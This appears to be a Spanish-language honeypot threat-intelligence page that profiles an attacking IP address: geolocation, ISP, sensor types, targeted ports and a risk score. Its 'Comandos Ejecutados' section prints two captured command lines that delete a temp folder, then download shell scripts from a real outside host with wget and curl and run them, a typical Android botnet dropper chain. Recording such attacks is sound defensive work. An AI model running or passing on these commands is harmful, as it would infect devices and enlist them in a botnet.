⚠TROYANOSYVIRUS
Amenaza Activa • CRITICO

130.12.180.122

Primera Deteccion1/1/2026
Ultima Actividad30/1/2026
ISPRailnet LLC
🎯
345
Ataques Totales
🔌
62
Puertos
📡
8
Tipos Ataque
🦠
0
Malware

Geolocalizacion

Pais
🇺🇸 Estados Unidos
Ciudad
Desconocida
ASN
AS214943
ISP
Railnet LLC

Tipos de Ataque

tanner
adbhoney
honeytrap
honeyaml
dionaea
miniprint
mailoney
h0neytr4p

Puertos Atacados

16000717155555333313570506667910066669999808180831000591102200253650523321232312325+42

Malware Asociado

Sin malware asociado

Comandos Ejecutados

$rm -rf /data/local/tmp; mkdir -p /data/local/tmp; cd /data/local/tmp/; busybox wget http://158.94.208.27/w.sh; sh w.sh; curl http://158.94.208.27/c.sh; sh c.sh; wget http://158.94.208.27/wget.sh; sh wget.sh; curl http://158.94.208.27/wget.sh; sh wget.sh; busybox wget http://158.94.208.27/wget.sh; sh wget.sh; busybox curl http://158.94.208.27/wget.sh; sh wget.sh66x
$cd /data/local/tmp/; busybox wget http://158.94.208.27/w.sh; sh w.sh; curl http://158.94.208.27/c.sh; sh c.sh; wget http://158.94.208.27/wget.sh; sh wget.sh; curl http://158.94.208.27/wget.sh; sh wget.sh; busybox wget http://158.94.208.27/wget.sh; sh wget.sh; busybox curl http://158.94.208.27/wget.sh; sh wget.sh6x

Evaluacion de Riesgo

80
/100
BajoMedioAltoCritico